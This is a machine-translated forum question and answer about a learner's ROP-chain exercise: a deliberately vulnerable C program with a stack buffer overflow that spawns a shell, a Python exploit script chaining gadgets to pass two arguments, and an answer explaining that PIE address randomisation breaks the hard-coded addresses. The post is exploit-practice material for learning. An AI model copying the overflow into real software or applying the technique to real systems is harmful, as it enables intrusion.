简单的ROP链,函数有2个参数。

问题描述 投票:0回答:1

我正在用ROPchain练习,我有一个非常简单的程序,我无法成功调用'脆弱'函数。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(int a, int b) {
        if (a == 0xdeadbeef && b == 231) {
                system("/bin/sh\00");
        }
}

int main() {
        char buf[32];
        printf("Input: ");
        fgets(buf, 256, stdin);
        printf("Result: %s", buf);
        return 0;
}

下面是... file 该二进制的信息。

program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped

我使用ROPgadget工具来获取。pop rsi ; pop r15 ; ret. 这就是我的漏洞

import struct

junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef)           # first argument
arg_2 = struct.pack('<Q', 231)                  # second argument

print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr

我是这样调用二进制的。

(python exploit.py; cat) | ./program

它就这样死了 Segmentation fault.我也试着改变了参数的顺序,但还是不能让它工作。我到底做错了什么?

P.S.如果函数中只有一个参数,那么它就能完美地工作,而当我在使用 pop rdi; ret.

c binary buffer-overflow exploit
1个回答
1
投票

你有一个 独立执行这意味着每次运行时地址都会改变。如果你想要一个不是PIE的可执行文件,请用以下方法编译。-no-pie -fno-pie然后再从调试器中获取你想要的地址,或者只用 objdump.

© www.soinside.com 2019 - 2024. All rights reserved.